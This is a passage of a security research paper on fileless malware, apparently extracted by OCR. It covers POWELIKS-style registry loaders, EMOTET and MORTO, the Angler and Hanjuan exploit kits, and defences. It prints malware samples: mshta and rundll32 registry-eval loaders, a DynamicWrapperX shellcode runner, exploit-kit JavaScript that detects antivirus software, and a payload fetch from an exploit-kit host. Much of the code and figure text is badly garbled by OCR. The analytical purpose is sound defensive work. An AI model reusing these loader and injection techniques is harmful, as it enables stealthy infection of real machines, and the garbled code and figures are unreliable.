kT ~ || #binandmage3?  REG BINARY 4¢l 5290 00 03 00 00 00 04 00 00 00 fF £ 00 00 b& 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 0...
5 g:z‘:?::a"""" | B REG_SZ var GlobalObject = thisvar FSO = fso = new ActiveXObject("Scripting,FileSystemObject")var ...

Computer\HKEY_CURRENT_USER\Software\ xsw

Figure 27: Script in the loader registry entry.

function SetupDWX()
i

if (!FileExists(DefaultDir+)\"mshta.exe\")) UnpackResource (\"mshta.exe\", DefaultDir +\"mshta.exe\"):

if (!FileExists(DefaultDir+\"dynwrapx.dll\")) UnpackResource (\"dynwrapx.dll\", DefaultDir +\"dynwrapx.dll\"):

if (!FileExists (DefaultDir+\"dynwrapx.sxs.manifest\")) UnpackRescurce (\"dynwrapx.sxs.manifest\", DefaultDir +\"dynwrapx.sxs.manifest\"):
if (!FileExists(DefaultDir+)\"mshta.exe.manifest\")) UnpackRescurce (\"mshta.exe.manifest\", DefaultDir +\"mshta.exe.manifest\"):
WshShell.Run {("\"'+DefaultDir+\ "mshta.exe\\\" \\\"\"+HTARunCommand+"\"',0,0) ;

Exit{): var ShellcedeHexStr =

FUADDUUEEESEC
D45 FOE0FFIEEC

‘CO0/4oECT 4o FE20000000ES R

try

var DWX = new ActiveXCbject (\"DynamicWrapperX\"):
ExecuteShellCode () !

function ExecuteShellCode ()

‘ |

*D0D0D00C

EDCZ3E
var CodeAddr = DWX.RegisterCode (ShellcodeHexStr, \"executeCode\", \"i=1\", \"r=1\"): -

FO06FOOCT45BCT40" +
0C715C87T1006500C715CC5000
CO000006A448DEB5SCFFFFFFS0E

DWX.executeCode (0) ; ' D250DCT15C05C005300CT15C1790
} 3300C745D0320000008 365D400C745
Exit () : 2350EQDOOCT855CEFFFFF4400C0006A10

}
catch(e)
{
SetupDWX () 2
}

F7510FT7 4500 FFZ0SCOD450C!
B55C| FF}TFSOEROOE&OOEEOCOCOC

L00EL006L00FFTSECEAO0E

Figure 28: Shellcode execution via DynamicWrapperX.

Time PID Process Path Operation Info
ﬁld:d?:M:E&S 1884 C:\_Virus\a.exe set registry value key: HKCU\Software\AppDatalow value: {d42d0afb-3638-4326-b67b-b0cb54fbadd } data: C:\_Virusha.exe
key: HKCU\Software\ xsw

Virus\a.exe create registry key

set registry value
< i ] »

OQutput - O X
pidftid: 1884/3056 -
process path: Cy_Virus\a.exe (0
key: HKCU\S oftware) xsw

Type: REG_BINARY MZ

value: binarylma
data: 00 03 00 00 00 04 00 00 00 FF FF 00 00 B& 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0o 00 80000000E1FBADEODB409CD21B8014CCD21546869732070726F6772616D 206361 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D

6F 6465 2E0D 0D 0A24000000000000004ACDBF7DC 08 BAY9 8F 08 BA99 8F 08 BA 99 8F 13 27 32 8F 25 BA99 8F 13 27 07 8F 18 BA 99 8F 13 27 33 8F 6A BA 99 8F 01 C2
0A BF 19 BA 99 8F 08 BA 98 8F 70 BA 99 6F 13 27 36 6F 09 BA 99 8F 13 27 03 6F 09 BA 99 8F 13 27 04 8F 09 BA 99 6F 52 69 63 68 08 BA 99 8F 00 00 00 00 00 00 00 00 00 0O DO 00
00 00 00 00 50 45 00 00 4C 01 04 00 6E EC 7D 54 00 00 00 00 00 00 00 00 EO 0D 03 01 0B 01 0A 00 00 16 03 00 00 70 01 00 00 00 DO 00 80 1C 00 00 00 10 00 00 00 30 03 00 00 D0~

Figure 29: Binary in binarylmage32.

_text:004GTIED Iea eax, [ebp+rvar_AkL]
-text:004811C3 push eax
.text:@84811C4 push a

.text:B04611C6 push a

.text:-@864811C8 push 88@088ChH
-text:-884811CD push a

-text:B804811CF push a

-text:004811D1 push a

.text:8846811D3 push [ebp+uar_14]
.text:Be4611D6 push a

-text:084611D8 mow eax, [ebp+arg_ 8]
Eﬁ -text:884611DB call dword ptr |[eax+3[:h]

0000110B 0040110B: sub 4010C&+115
4| m |

@ Hex View-1

B13367E0 43 80 3n B0 5C 680 57 B0 69 00 6E 00 64 08 6F 68 C
813367F8 77 B0 73 B0 SC 66 53 68 79 68 73 68 74 68 65 A8 w.
m
1}

B1336868 6D @8 33 @0 32 @8 5C @0 73 B0 76 OO 63 OO 68 6O
B1336810 6F @8 73 @88 74 680 2E @8 65 A0 78 OO 65 OO 60 60

Figure 30: Shellcode creates a suspended instance of svchost.exe.
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POWELIKS Phasebot

Gootkit

HKEY CURRENT USER\Software\
Microsoft\Windows\
CurrentVersion\Run\ [NULL]

Auto-start
registry entry

74script language=jscript.enco
de>"+ (new$20ActiveXObject ("WS
cript.Shell")) .RegRead ("HKCU\
software\microsoft\windows\
currentversion\run\")+"\74/
script>")"

Uses rundll32.exe to run a
JavaScript in order to read another
registry entry

entry

HKCU\Software\Microsoft\
Windows\CurrentVersion\Run

Windows Host Process

exe javascript:"\..\
mshtml, RunHTMLApplication
";eval ((new$20ActiveXOb
ject ("WScript.Shell")) .
RegRead ("HKCU\\Software\\
Microsoft\\Active%20Setup\\
Installed%20Components\
\{72507C54-3577-4830~-
815B-310007F6135A}\\
JavaScript"));close();

(Default) = "rundll32.exe (RunD11)
javascript:"\..\mshtml, RunHTMLA
pplication ";document.write("\

Uses rundll32.exe to execute a
JavaScript to read another registry

HKCU\Software\Microsoft\
Windows\CurrentVersion\Run

rundll32 = "mshta
"about:<title> </
title><script>moveTo (-
300,-300) ;resizeTo(0,0);</
script><hta:application
showintaskbar=no><script>eval
(new ActiveXObject ('WScript.
Shell') .RegRead ('HKCU\\
Software\\ xsw\\
loader'));if (!window.

flag) close () </script>"

rundll132.

Uses mshta.exe to execute a
JavaScript in order to read another
registry entry

HKEY CURRENT USER\Software\
Microsoft\

Loader
registry entry

Windows\CurrentVersion\Run
(Default) = "{encoded script}"

Encoded script uses PowerShell to
execute a shellcode

HKCU\Software\Microsoft\
Active Setup\Installed
Components\{72507C54-3577-
4830-815B-310007F6135A}

Javascript =
"sPowerShellScript = \"IyBSZW
FkIEFuZCBFeGVjdXR1IFJjNCBFbmN
yeXB0ZWQgU2h1bGxDb2R1IEZyb20g
VGh1lIFJl1Z21zdHJ5
IAOKDQoJjIFN1dCBSZWdpc3R
yeSBLZXkKNCiRzUmVnaXNOcn..... "

Script uses PowerShell to execute
a shellcode

HKEY CURRENT USER\Software\xsw

loader = "varGlobalObject

= this;var FSO = fso = new
ActiveXObject (\"Scripting.."
Script uses DynamicWrapperX to
execute a shellcode

Binary Already embedded in the
base64-encoded script of the loader

registry entry

registry

HKCU\Software\Microsoft\
Active Setup\Installed XSW
Components\{72507C54-3577-
4830-815B-310007F6135A}

Rc4Encoded{32 or 64} =
"{encrypted binary}"

RC4-encrypted and stored in the

HKEY CURRENT USER\Software\

binaryImage{32 or 64} =
"{binary data}"

Stored in the registry

Table 1: Comparison of fileless malware registry entries.

4. EMOTET AND MORTO: HIDING IN THE
REGISTRY

POWELIKS was not the first piece of malware that abused the
registry to hide its payload from security solutions. The
banking trojan EMOTET [15], which was seen as early as June
2014 distributed via spam, also stored the components it
downloaded in the registry. The encrypted data it received from
a C&C server was written to the following registry entries:

¢ HKEY_CURRENT_USER\Software\Microsoft\Office\
Common\<random>\<random>PS: Contains the .DLL file

¢ HKEY_CURRENT_USER\Software\Microsoft\Office\
Common\<random>\<random>SS: Web injects and
target banks

The downloaded .DLL file is injected into all processes so it
can intercept and log outgoing network traffic. Once injected
into a browser, the .DLL file gets the URL and all of the data
if the site accessed is in its list of target banks (Figure 31
shows an example of a target bank site accessed and the
gathered data). This information is encrypted and written to
the following registry entry:

HKEY_CURRENT_USER\Software\Microsoft\Office\
Common\<randomstring1>\<randomstring1 >RS

MORTO [16], a well-known malware variant that uses
Remote Desktop Protocol (RDP) to spread, has also been
storing compressed code in the registry since 2011 in order to
evade detection:

HKEY_LOCAL_MACHINE\SYSTEM\WPA

md = "{compressed Morto code}"

Figure 32 shows the MORTO binary in the registry. MORTO
variants drop a DLL component, %windir%\clb.dll, to execute
the malicious code embedded in the registry entry it added. It
then deletes the main installer.

Unlike fileless malware though, EMOTET and MORTO retain
some files in the systems they infect. The only thing they share
with POWELIKS, Phasebot, and Gootkit is their ability to
abuse the registry, a known fileless infection technique. In
effect, POWELIKS, Phasebot and Gootkit revealed how
effective scripting and abusing built-in applications are when
launching hard-to-detect complex malware attacks.

5. ANGLER AND HANJUAN EXPLOIT KITS:
HIDING IN MEMORY

Fileless routines are not only done in the registry but also
even before the malware arrives in systems. In this case,
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Figure 31: Example of target bank site accessed and the gathered data.
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Figure 32: MORTO binary in the registry.

Result  Protocol Host URL

asd.readmeround Jevegwit51

Body Caching Content-Type Process Comments Custom
97,209 no-cac...

=R
@ 2 00 HTTP asd.readmeround: Jevegwiitilfcount?b=1
E3 200 HTTP asd.readmeroun_..  /Nslw_9ROEYgT4aUK. ..

0 text/html [#3554]
165.... noca... applicatio... [#3555]

Figure 33: Angler Exploit Kit page.
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Figure 34: Content of the Angler Exploit Kit page.

cybercriminals infect systems with malware that only reside

in memory, making them harder to detect.

Research recently revealed that the latest version of the
Angler Exploit Kit [17] now injects payload directly into
running processes. In September 2014, POWELIKS was

spotted spreading via memory-based drive-by downloads care

of the Angler Exploit Kit. This infection begins by directing
victims to an Angler Exploit Kit page such as
http://asd.readmerounds.net/evegwiit51, which contains a
script that assesses the vulnerability of target systems. Figures
33 and 34 show examples of the Angler Exploit Kit page and
its content.
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The page contains random words and sentences, in amongst
which is the obfuscated script.

The script (shown in Figure 35) is easy to decode (as shown

anti-virus solutions in infected systems by locating specific
driver files (Figure 37).

The script then identifies vulnerabilities on the systems by

in Figure 36). All that needs to be done is to insert the line

checking its installed versions of Java, Flash, Silverlight, and
‘document.write(FUj)’ into the HTML file.

Internet Explorer to identify what exploit to deploy (Figures

When deobfuscated, the script first checks for the presence of 38 and 39).
57 JOZFJZAadT= (function{ueZm)

LI

59 war lhoy= '.%x(.F2)<L,/  +apan;

50 war x8=[/M3IE (vd+\ o Nd+) s [exec] (navigator, userioent) ;

51 1f(xSeexS[L]<=08)

£2 i

53 lhoy='. #=(.72]<4,/ +5pan

54 1

55 else

55 i

&7 1f (XGeanS[1]=8)

58 ¢

&9 lhow='.7.2%(. %)<\ +3pan

70 '

71 1

e war FUj= ", fqEy=1, weB='body', Wm2Kf=('wou'|[substr]il,2)+ o'+ v '+ HT '+ 'MLT " [substr](0,2) ,ZL1 =document[weB], Sq=ZL13 [Ww2KE], b3M="", wEpo='gi',6 gdtuzd=new

- RegExp (ueZn+lhoy, vEpo) , dp="wHul0I', n?TNGe=vindow[dp];
hEM=g4tuzs[cxec] [Sq) 2

bEM-b3M[ £qEy];

if(In7TMGe )

76 i

FIIy =0kl (bSH, ' TZHIZ0ES gf 1 Lenge Tpsl ' ) ;

war YUSQBC= 1;

var Xoakw=cval (FUJ )

80 1

elze

L i

doc. jg8d=navigator. £z8. eRi)

i
85

1:
87 yar TwwOkEPel3='_ LiZAlplpZiTillnSkzl!'

88 yar TxmOREPes='FdOSRYSceFalR1EINOIRE 1bXplr 2FIT02V 1 SHVVITV] cX 1M Go T 451 22aT 10V aZ 3FNRe TWGT LN FRRTXE TINU 3h 1T SR 2D Z0n 3 22 VHAk LAk 2D 0T 1DTVMI 1IMD FOys ZUuMn T ThGGONGSD ! 2
89 var TxmOkEPed='ke]SMEWENZbESNEV0aalUib¥FZEITTHNHRhunH3bGIMFRIyRF1vhEE I3 cVHEVRdcC IxTd0 SdRGEDVnAFO==11TT1" ;

90 yar TxmOkEPef='sucdantadd. nre.nernsi: 8’y

91 var TxmOkEPe7='LMgzo0l4hRkesnD3baVe-08y205T0C2E5uRxkITQLIEL79x 92 _gtPbolwlweCr ' ;

92 yar Txm0kEPed='bplSG]qZus4rDolloviadkBROPhOINhFwEQ46Ws5Lhl 00NgeE 7P qqowlHENCCELZA !

93 var TxmOkEPeS5='SXFlbFylZ¥ezNERnTabGRaELYUTIEOOV L FFDDEdkkal FMxwENzU1 1 ZLTTE0XC c2ull] 0V 9w nd I wlz YN 4Y GERx 4T 4¥nE U1 e Z0zNGMN 02T 1 NUE cr=DNMG 1 Y GYNZ s MEx Nz QM S JTHVD D' 2
9% yar Txn0kEPe2='UNINTZ¥8d5NWEFsGEATMNIDAS SwVHihnd ZwD FHNTLEY JdR1 TR XN 522 b0 zwSHIa25 Y IyS IMh SUTaUFg9R==3M0" ;

95 var TxmOkEPed='suedactadd.nre.nerms0: s’ ;

%6 yar Txw0kEPel='0dF3lczGksEhyoxiiVa’;

3% yvar TxnOkEPel='2cTaylEViVVoHI0EPR(IpP44nRE¥HEThVORnIENAriEyeibi_Tr80sINaVyG=VafpriEoiCnITl4"

98 var TxmQkEPelD='sucdaotadd. nre. nernsi:is’;

99 yar Txm0kEPell='aHk(QugizD0 9g7-nVerTCnichighchud g2 48wk cul0ix0HG0eg- IFg7EInCriry ' ;

Figure 35: Obfuscated script.

1 function gs7sEditxt) -
z g
2 war xmlDoc = new ActiwverObject("Microsoft.XMLDOM™") ;
2 xmlDoc.async = true:
5 ®mlDoc. LoadyMLL " ') 2
5 if (xmlDoc.parseError.errorCode '= 01
o i
] war pe=xmlDoc.parseError, err = "Errcor Code: © + pe.errocCode + "o :
El err += "Error Reason: “ + pe.reason;
am err += "Error Line: 7 + pe.line;
11 if (err.index0f("—Z14702Z30837) = 0}
1z i
iz return 1;:
1a 3
' 2= slse
16 i
B return 0O
1s 3
N BEE 3
ED return 0;
21y
22 funcrion efefZ(thellrl)
2z g
za war img = document.createElement | Timg) 2
25 img.src = document. location.href +'/' + thelrl:
=& war sro = document.body:
27 src.appendChildiimg) :
25 )
Ml 2¢ if (gs7?sfd("c: v \WindowshySwsten3zyvdriversyikll.sys") || gs?sfd("c:yywindowsy systendzy ydriversh’, tnactmon. svs"1 | |
N - gsTsEd({ " c:yywindowsy ), systen3Zh vdriversy Y tmocomm. sys")1 | | gs7sEd( " c: Y hywindows \systen3Zy drivershy tnevingr. sys"1 | |
- ga7sfd("c: \vwindowsh v systen3Z2h vdrivers W THEECIZ. sy=s"") || gs73fd( AvwindowshhsystenIZ2ihdrivershytoheext.sys™") ||
[ - gs7sEd ("o Y wmindowsy  sTSTen3Zy hdriversy s tunciesc. sys") || gs7?sfd(Tc:yvwindowsh systen3zy hdriversyy tonedi. sysT) )
zo g
a1 window[ 'wHmOOI'] = true:
@z WajmCe = ' '
[l == window. sEA2S5gEgsTsEd] = window.sE32S5gogs?sfds - window.SE3ZS5gCgsTSEAEl - window. sSE3ZS5grtgsTsEdER — false:
2a efefZ(' countib=0"] :
25 )
26 elsze
27
23 efefz('countrb=1"')
=9 .

Figure 36: Deobfuscated script.

9 if
-1
-1
-1

(ga7afd("c: A\ Tindowsy \ Systen32yvdriverayykll. sv3™)
gs7sEd("c:vywindowshy systend2y driversy ) tnoonm, 5¥37)
gs7afd("c:\Viwindoway systen3Zy L drivera\ VTMEEC3Z. ays™)
gs7std("c:yywindowsyy systen3zy\driversy\ tunciesc, sys")

|l gs?sfd("c:\\vwindows) \ avaten32y v drivers) ) thactnon. 3y3")
|| gs?sEd("c: \windowsY\syatenizydrivers) ) thevtngr. sy3")
Il gs?sfd("c:\\windowsY' systen3z2) \drivers) tneext. 3ys™)
Il gs7sfd("c:y\windowsh systen3z) vdrivers)\tntdi. sys™) |

Figure 37: Routine to check for installed anti-virus solutions.
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In a particular case we analysed, the system’s Internet yRsM16pG7vn50B3ec4]_nXhR9hv2Q36KROIHRGOc2 (see
Explorer application was vulnerable to CVE-2013-2551 [18]. Figures 40 and 41).

When a vulnerability is found, the script retrieves the

corresponding binary from another URL, It uses the key ‘adR2b4nh’to decrypt the encrypted binary, as
http://asd.readmerounds.net/Nslw_9RO6Y gT4aUKWp45bLR shown in Figure 42.

286 if | (flashVersion("11.3.300.2577) »= 0 & flashVersion("11.7.700.2757) <= 0] || (flashVersion(”11.8.800.94") >= 0
- & flashVersion("15.0.0,1827) <= 0))

237 ¢

238 yindow, sE325gtgsTsEAEl = true:

289

240 gl1ge

2a1 ¢

242 if(flashVersion("13.0.0.182") > 0]

24z 4

242 gindon, sE325gtysTefdE2 = true:

2as )

246 yar minValue = silwerVersion("4.0.50401.07), maxValue = silwerWersioni”5.1.10411.07), current¥alue =
- silwerVersion(”5.0.60818.07)

247 §f [cypeof (min¥alue] 's 'undefined' &e typeof (maxValue) !'= 'undefined' g typeof [currentValue] !'= 'undefined’
- && winWalue »= 0 ss maxWalue <= 0 ss& currentValue '= 0)

238 |

299 gindow. sE325gtysTsEds = true;

250 3

251

282 ijf (navigator.javaEnahled{))

253 ¢

258 yindow, s£325grgalsfd] = true:

255

Figure 38: Routine to find existing Flash and Silverlight vulnerabilities to exploit.

2082 ar jw = ldklfgo.getVersioni Java™), targetVersion = “1.7.0.107, Elgwoht= document;;
3082 if (| 13y &5 LixNumber(jv) »= fixMNumber (targetVersion))
2085 |

2086 gar tmpl =''};:

Figure 39: Routine to find existing Java vulnerabilities to exploit.

Result  Protocol Host URL Body Caching Content-Type Process Comments Custom
@ 1 200 HTTP asd.readmerounds.... fevegwiitsl 97,209 no-cac... textfhtml [#3553]
@ 2 200  HTTP asd.readmeround: [evegwiit51fcount?b=1 0 textfhtml [#3554]
[ /Nslw_3RO6YgT4aUK... 165.... no-ca

Figure 40: Exploit kit page retrieving the binary.

IGET /Nstw_3RO6Yg T4aUKWp45bLRyRsMISpG 7vn50B3ecd)_nxhR3hv2Q36KROIHRGOC2 HTTP/1.1

- Transport -
- Host: asd.readmerounds.net -
Get SyntaxView Transformer Headers Textview ImageView HexView WebView Auth Caching Cookies Raw XML JSOM

34 6E 68 E1 8C 45 12 32 E7

31 €2 34 E3 E0 4D 63 FD 1A ke dnha Elbd3iMe Zgf m. pQZblmk  «
H = A2 adWVetnfl,>R2ésie k:. 3 lgar..T¢ [

50 I.cdthe vdU4lNha xFe"0.gi.3

. GM__hBsjdi* p°bésm-
83 14 dF;}i” @'308° Had"k0d 9 h.®.
EB  _5_g4c.RcdR!. _vE:i. ~p-DESRw6 ~&

w—iKEPE w
£atEa »uma Eug
7E-G2 ©@ 0@ 33 $EDSAEIChPE~E

a7 B = i f 1C  Shi28@Ipax’7Tlr <g b £iiBi_ ~+§
33 C@A C3 55 8B-EC 51 56 57-E8 A8 A2 AA-0O@ 8B FA 81 ;H;lémgggﬁL! & b &0 31,mézjrg..,.z..é38 oUEEs.m
3= F 38 ub U ilpe3i SECEEECREECEERCE & $EfS E4hA

EC 45 FC 85 CA-74 2C 8D 3C-AB BF 72 B9-AD 47 4D 97 E“ lt 1<aa»m(,r1u €4 miz.ziIgp.g. ]°1.B.ekDS g

e 14 68 DF 73-6A 64 E3 2A-99 BS BA 62-EF 35 6D 2D dh%sj €8 Zl.e. chair.B;f.! R"bileMc.Z&IRk

1F i BM L} %b.4_;ife- Ai[;.
AC  Skiuds*1EkiuvaBitENUISnhé v.Q
_A4ELfANT+gl . A miualg

a0 |[be!
5% 34 AD 64-46 BF A6 ED-A8 18 48 B9-33 3@ EB BA 141dF1“¢c>E‘i336u
14 BD 61 F2-22 6B 30 E3-84 39 9@ 3062 D7 AE 83 a2 “kONA%E:hea
3 5Gy4c8RcdRilbull

bty x3b4;+)a Rza+. . i
1) .2b. adRZw. §

62 B& 33 &1 €4 52 .

3z
40 BA D3 €2 34 6E E1 22 4C DF 77 \/fh“w:’vm““mw.d@—
08 52 CD BS BF SE 00 Bé 53 0B 3A 34%)C D8 &8 i
06 7B 13 78
€D 53 FZ 65
5 Cl 20
51
16
24 L
TR X.JDZ;‘iag.b.)..
61 29,8345 +EEVT. ;K
iE =003+]&V*£0-kE. . pBSnhadR2binh
62 23R2b4nhadRzbinhadRibinhadRibinh
25 08 A2 62 adRZbdnhadR2bbija) .cbTnha 'RZBE.R  ~

Figure 41: Retrieved binary.

05 Cunction VHOLVgz6W (Xeyk, Wel, PU7rGs, Wolgd , .

o0s ¢ Fev e I a8 URL hosting the binary
907 ar window. location.host + '/ + LEeZeTuzed (windou[U0QplvNESwT] (1] :

908 yar XOR key
909 yar
910 var MIndc = Math,£loor (Math.randon() + (6 - 3) + 3];

911 yar twpStringVall = '3ZE36456C%60°, tupStringVal2 = =000 ;
912 if (MzrrPz. lengch > 200) return;

912 yhile (MZrrPe.length < 200]

o

915 NarrPe += Zyji6YHEStglS17T(tmpStringval2):

25

Figure 42: Decryption routine.
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The decoded binary starting at hex 9090 is a shellcode required
to load a DLL in memory via Reflective DLL injection [19], a
technique that employs reflective programming to load a library
from memory onto a host process.

The script contains a shellcode that will execute the CVE-
2013-2551 exploit in order to run the DLL binary in memory
(Figure 43).

In February, another exploit kit, Hanjuan [20], was used to
deliver BEDEP malware via direct injection into explorer.exe
(see Figure 44). In this instance, users land on a page (e.g.
64.34.127.134) that contains a script, which passes code to
parameters and loads a malicious .SWF file, ontdhso.swf,
which triggers the exploitation of CVE-2015-0313. This then
executes the encoded payload, bloppe.php.

BEDERP is then executed in the Explorer memory space,
attempts to access a C&C server and creates an installation
directory for its file components. Once the DLL component is
loaded, BEDEP attempts to communicate with various
fraudulent ad servers to access different ads in a hidden
desktop (see Figure 45).

The shift from disk-based to memory-based drive-by
download technique is a significant change since it presents a
challenge for security companies to create effective memory-
based detection and mitigation solutions.

Even ransomware, according to an /nvincea blog post, has
adopted this new technique. A new breed of ransomware
dubbed ‘Fessleak’ [21] reportedly used malvertising as means
to infect systems filelessly via vulnerable Flash software.
Unlike traditional dropper attacks where malicious files are
pushed via infected sites, malware is instead loaded onto
systems’ memory then extracted by abusing already-running
vulnerable programs, specifically local System32 files such as
extrac32.exe.

6. PROTECTION AGAINST FILELESS
INFECTION ATTACKS

The fact that more and more infection attacks are going
fileless could mean bigger problems for security vendors.
Fileless malware can, after all, remain undetected, posing

peoL /iexploitishelleodel + obfuscate(binary) + shellcodeZ +
160 Tolzi SVellumd | ) ;

RE9s Yaln ILESZLECGES ()

fE0& return

heas

P6LLAf (mindow, sE325grasTstdfl 4o lwindow, s£325grusTstds)
heiz |

Ro1% var k1Egl = ‘wri', klEg2 ='te':

REL8 Function getKolaio|)

heis |

M816 return TwiloZiM{Txn0EEPe3) ;

he1r |

690 ¥ 1xurPy=1037 (Xsyk + ICIQoATEEJruTi? (M2rrPz] + Nvl + ICJQoACEEJruTie? (Uur3K| + PQ7rGE + ICTQoATSETrw7k7 (Xa| + Wolgd + '=u0000 )
obfuscate (key)

fe26[TG5ral Thhzky0HE = ' SubCOF%u0101%u06065u0A05%u060F%u04025uiD0F5u090l5u090Fsu0E0 L5kl 01500 L015u01013u0C055u05055u03065u0 F055ul605%u0b055u0409s
fs07s71pInaalllGirs = ' Su0905%u0A0S 2070 SEROD0Ssu0P0Fsu0a025u0101%u01013u0101" 7

pe0sfIEaZaE0SEESEqG = ‘%uDQDE%uDA@hél%&&%uﬂEﬂl%uDlDl%uDlDl%uDlDl%uDSDB%uEIE 73u03075u04085u07085u03085u04045u03045u01035u10035u0408%.
psosfmessusessans = ' u0906500A055007055u0D06%10205 $u0D0FI050 151020 1500101500101 5u0A04eu07075u0 506410 208 5u0DIFuns015u020 15u010 1 5u0 Lo LunA09%ul

- |95u0E 06 5u0 110510409 5u0b0FAu0 50251020 45u040D $u0C095u0EDS 51090 1 3udC095u0C 05 510D 04 n0ENSS D0 L5u0A0 250009 5ulA0 5 5u0 905 u0E095u0 §015u0A02 5udcag:
(1610 Y19 LWyl ( JG5ral Phh2ky0Hd, $7lpluaallGles, WeBZSB0SEESfgl, NuciSuSeS8ahs):

+ shellcode’ + obfuscate (filename) + shellcoded + '5u0000')

exploit function

Figure 43: Shellcode that exploits CVE-2013-2551.

[4#33 200 HITR £4.34.137. 134 2,33
[E) 34 20 HIP 8434127034 29,605
A 35 04 HTP » o M
@3 s MR 134 s12
M3z 20 e E4.34.127.154 296,364
38 o HITE wow e thinols.org 58
39 200  HTTP www.ech europa.eu  fetatsferofrefiarofee.. 7,704
a0 200 HTP mprrpasemorhe.com [ ¥
B4 W0 HTR mpopasmoriu.com | “
B 20 HTTP mparpasvmori.com [ 652,460
D43 00 HTR mparpasymorhe.com [ 13
BT 200 TR I -

texthoml; ... iplore:3952 = Landing page
sopkcatonf.., xphes:952 = SWF - explait trigger
e e explore: 3952
----- € lexplore:3952
. iexplore:3952 O Embedded shelicode
+ xplores305] . pormal URLY - Usedin
iplores3052 7 DAArsuting
explorez 3952
iepkone: 3952
explorer; 1604 C&C
explorer: 1604 Communication
epioren 1604
expioren: 160
Ad Fraud Traffic

Figure 44: Hanjuan Exploit Kit serving BEDEP malware.

ENTERTAINNG

Enter Your Emal to Receve H2G's Newsletser

FEATURED RECIPE: Fiaky Crosconts

HOME & GARDEN | HOLIDAYS =~ FOOD | MOME ELECTROMICS | FEATURED ARTICLES | SHOF HOME GOO

| Desknap Swach =]

Sitch back to cefist dribteg?

o

due Party at Home

‘atwhalin oo fo fow a hot ol

Figure 45: Desktop that BEDEP hides.
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greater risks. Users need to understand how fileless
infection works and adapt a holistic approach to counter it.

One possible solution is component correlation. Looking at
all of the components of the threat using holistic
reputation-based technologies can help thwart infections

at the source. That way, malware can be blocked before it
can even begin to execute its malicious routines. The
following subsections provide some examples of how
security vendors can protect their customers from fileless
infection.

6.1. Email and web reputation systems

EMOTET arrives via spam with a link that needs to be
clicked in order to download an archived file that contains the
binary (see Figures 46—48). Security engineers can use
available technologies to pattern matching content format of
email and URL and categorize matching emails as malicious
spam or ‘mal-spam’ and matching links as malicious URLSs in
order to prevent fileless infections.

6.2. Network solutions

Exploits [22] take advantage of software vulnerabilities to
infect, disrupt or take control of systems without the user’s
consent or knowledge. Even worse, drive-by download sites
can host one or more exploits. They first determine which
vulnerability to exploit with the help of a script hosted on the
malicious or compromised site.

To counter such attacks, vulnerability assessment can be
performed on systems. This can remedy known vulnerabilities
by updating affected applications or software. System
administrators need to keep in mind that not all users update
their software regularly. They may even be unaware that their
systems are vulnerable. Performing vulnerability assessment
can alleviate the problem by preventing known vulnerabilities
(at the very least) from being exploited.

Security practitioners can also use dynamic emulation on web
objects (e.g. HTML, JavaScript, Java, PDF and Flash) to
determine the outputs of the deobfuscated script to spot and
tag malicious activities (Figure 49). As more and more web

2014_06rechnu
ng_072430000
24dips.com.br 2_sign.zip
legdmgr32.exs
iy Hitg wnlo:
> 2014_06rechnu
ng_072430000
h—"-ﬂ 2_sign_telekom "
[ o2
Ve _deutschland_g o® =]
OUTLOCK.EXE ‘embh.exe
=1
=)
|
[EE— S
i ‘\2"‘5 = S,
St
firefox.exe WinRAR.exe 9082233.bat
4 Execute ; =1
| = i
A
= = =

Figure 46: Correlation among attack components of EMOTET malware.

& Ihre Telekom Mobilfunk RechnungOnline Monat Juni 2014 (Nr. 72733486322231)
Eo 8 Yo Do Mesage teb
=Y \
Rely  RepyAl Fowsd P Ddete Adbosies
8 The messoge s High Prrey.
From:  6A00239254040-0001 @ bl e
Date:  Wadnesday, e 16, 2014 53 At

To: info@i.de
Subject: Thve 2uni 2014

 He Edt Mew Tools Message Help

: Reply  ReplyAl Forword Prit  Delete Addresses

2 This message is High Priority.

ERLEBEN, WAS VERBINDET.

TELEKOM DEUTSCHLAND

Ihre Rechnung fiir Juni 2014
Sehr geehite Damen und Herren

im Anhang an diese E-Mail finden Sie Inre aktuelle Rechnung. Der Rechnungsbetrag fur
Juni 2014 belautt sich aur. 378,86 Euro.

Im Anhang finden Sie die gewdnschten Dokumente zu hrer Mabiffunk RechnungOniine fur
Juni 2014. Inre Rechnung for Juni 2014 - (PDF-Dokument)

Diese E-Mall wurde automatisch erzeugt. Bitte antworten Sie nicht an die angefunrte
Absenderacresse.

Mit freundlichien Grugen

Ralf Hogbach
Leiter Kundenservice

© Telokom Deutschland 2014 | Hife | Kontak! | Datenschutz | AGB | Impressurn

From:  Voksbark Orline
Date: Tuesday, June 03, 2014 5:04 AM
To: lissiz. eby@iotto-lebensalueck. de

Subject:  OnlineSupport W, Transaklions: 33L61R3ERQSS

& OnlineSupport WT, Transaktions: 33L61R36RQ55

& & @ | & X | 0 O | w

='2 Group Data Protection Officer Volksbanken IT
AG

Der Auftrag wurde entgegengenommen,
03, Juni 2014 um LLS4:26 Uhr
Verwendete TAN: 074743

Uberweisung - Standard

Baginstigter (Name oder Firma): LUKAS ANTONIUK NI
IBAN ader Konto: GB21 BARC 4378 5510 7086 30
BIC oder BLZ: BARCGB5670V
bei Kreditinstitut: BARCLAYS BANK PLC
Betrag: 1762,53 EUR
Verwendungszweck: RECHNUNG NR96_7183
haber): Brei id-Str. 2

iitraggeber (Kant

Es kann einige Minuten dauern, bis die Transaktion in Ihrem Konto
angezeigt wird.
Weitere Informationen zum Transaktions Volksbank CM.

Figure 47: Sample EMOTET spam often came in the guise of bank transfer and shipping invoice notices.
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Figure 48: List of malicious links found in EMOTET spam.
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Figure 49: Malicious rating is determined based on content.
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Figure 50: Notification for blocking access to the malicious page.

threats adopt script obfuscation and encryption, vulnerability
and exploit fingerprints can be collected and incorporated into
dynamic emulation systems capable of determining script
semantics. This can be a way to describe relationships that
exist among a fileless threat’s components. The Trend Micro
tool shown in Figure 50 performs dynamic emulation to block
exploit kit pages.

Hanjuan Exploit Kit uses an .SWF file to exploit CVE-2015-
0313 [23]. A sample concept that can aid in detection is
emulating a Flash ActionScript and dissecting the script’s
routines to determine a heap-spraying behaviour:

ByteArray.writeByte, ByteArray.writeByte, ByteArray.
writeInt, ByteArray.writeUnsignedInt,

ByteArray.indexSetter, Vector.setNumericProperty,
Vector.push, Array.indexSetter

Aside from dynamic emulation, security analysts can also
